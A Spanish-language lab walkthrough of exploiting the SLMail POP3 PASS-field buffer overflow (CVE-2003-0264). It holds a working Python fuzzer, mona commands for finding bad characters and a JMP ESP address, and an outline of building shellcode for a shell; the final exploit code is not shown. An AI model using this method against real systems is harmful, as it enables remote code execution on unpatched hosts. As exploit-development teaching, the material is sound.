Una vez descargado el ejecutable se deja todo por defecto y se presiona siguiente en todos los campos.
Reglas de firewall
Como se puede apreciar, la máquina tiene abierto únicamente un puerto que no nos interesa.
Por lo que habrá que configurar reglas de entrada y salida del firewall de Windows, deberán quedar así en ambas:
Por lo que al realizar el escaneo nuevamente podemos ver expuestos los puertos 25 y 110:
Enumeración
Ya de antemano sabemos que el campo 'PASS' del servicio POP3 es vulnerable analizando el CVE-2003-0264. Por lo que ahora deberemos enumerar a partir de que numero de bytes generamos el desbordamiento. Para realizar esto primero vamos a obtener un estimado y después con una utilidad del framework de Metasploit veremos el número exacto.
1. Detectar campo vulnerable
Al realizar una conexión al servicio POP3 de SLMail identificamos el campo PASS, que es el que sabemos que es vulnerable, por lo que ahora con nuestro script debemos replicar esta conexión y fuzzear el número de caracteres en el campo PASS.
2. Fuzzear
Ahora para replicar la conexión que hicimos nos vamos a ayudar de la librería socket de python. Y vamos a estar mandando distintos buffers, aumentando el tamaño de cada uno hasta que el programa haga un Overflow y obtengamos un estimado de la cantidad de bytes.
#!/usr/bin/python3
################################################
# USAGE: #
# python3 exploit.py <target-ip> <target-port> #
################################################
import sys, socket
from pwn import *
target_ip = sys.argv[1]
target_port = sys.argv[2]
if len(sys.argv) != 3:
print("[!] Usage: python3 %s <target-ip> <target-port>" %(sys.argv[0]))
exit(0)
if __name__ == '__main__':
buffer = [b'\x41'] # \x41 es "A" en ascii
acc = 350
while len(buffer) < 50: # Le añadimos al array distintos tamaños de A's
buffer.append(b'\x41' * acc)
acc += 350
for buf in buffer:
try:
print("[+] Enviando buffer de %s bytes" % len(buf))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, int(target_port)))
s.send(b"USER test\r\n")
payload = b"PASS " + buf + b"\r\n"
s.send(payload)
data = s.recv(1024) # Una vez se produzca el overflow no devolverá más data y se quedará colgado en el número de bytes que nos interesan
s.close()
except:
print("[!] Error de conexion")
sys.exit(1)
Ahora necesitamos calcular el número exacto de bytes a partir del cual se genera el overflow, sabemos que ronda los 3000 bytes, ya que es donde nuestro script deja de comunicarse con el proceso de SLMail, por lo que podremos usar una herramienta de Metasploit para calcular el número:
Esta utilidad nos permite que al generar el overflow y fijarnos en que posición esta el EIP, nos dirá el número de bytes que desbordan la pila:
3. Eliminar Badchars
Para prevenir que nuestro shellcode crashee, vamos a tener que buscar y eliminar los badchars que puedan generar conflicto. Ayudándonos de la utilidad mona podremos generar un array de bytes, generar un overflow y comparar la lista de badchars generado con lo que está en memoria, si falta algo en memoria identificamos exitosamente uno de estos caracteres.
# Crea una carpeta en el escritorio con el nombre del proceso
!mona config -set workingfolder /path/%p
# Genera un array de bytes excluyendo al 0x00 que sabemos que es un badchar por defecto
!mona bytearray -cpb '\x00'
Y el código para enviar los badchars nos quedaría así:
Ahora con mona podremos comparar los bytes en memoria con los de nuestro fichero que creamos:
!mona compare -f bytearray.bin -a <ESP>
Como podemos ver el archivo se corrompe a los 9 bytes con el caracter 0a, esto lo podemos comprobar con el gráfico en memoria que nos genera el debugeador que estemos utilizando:
Acá se puede ver que no está tampoco el caracter \0x0a , por lo que podemos concluir en que es un badchar. Falta repetir este proceso las veces que sean necesarias hasta que no encontremos más badchars, en este caso los badchars son: '\x00\x0a\x0d', por lo que al generar nuestra shellcode debemos excluirlos.
4. Instrucción JUMP ESP
El offset que calculamos anteriormente nos da el número para saber cuantos bytes desbordan la pila, desde el registro EBP hasta justo antes del EIP que es en el que estamos actualmente, y como un proceso no puede directamente modificar este registro necesitamos aprovecharnos de algún modulo del proceso SLMail que tenga las protecciones Rebase, SafeSEH, ASLR y NXCompat en FALSE y que sea una DLL del sistema con un OP Code que haga un JUMP ESP para poder ejecutar el shellcode posteriormente.
Lo primero será buscar el OP code de la operación JUMP ESP:
Para acceder a la lista de módulos del proceso es con !mona modules, buscando encontramos un potencial módulo que nos interesa:
Ahora tenemos que buscar el OP Code JMP ESP en éste módulo, fijandonos que no tenga ningún badchar, esto lo podemos hacer con mona de la siguiente manera:
Ahora tenemos que saber que esta en formato Little Endian, por lo que para utilizar esta dirección deberemos dar vuelta esta address.
Explotación
1. Generar shellcode
2. Juntar todo y obtener una shell
Ahora para que el código funcione necesitamos agregar unos NOP's antes de la shellcode y en donde se encuentra el EIP poner la dirección de memoria donde se encuentre el JMP ESP para apuntar a nuestro shellcode: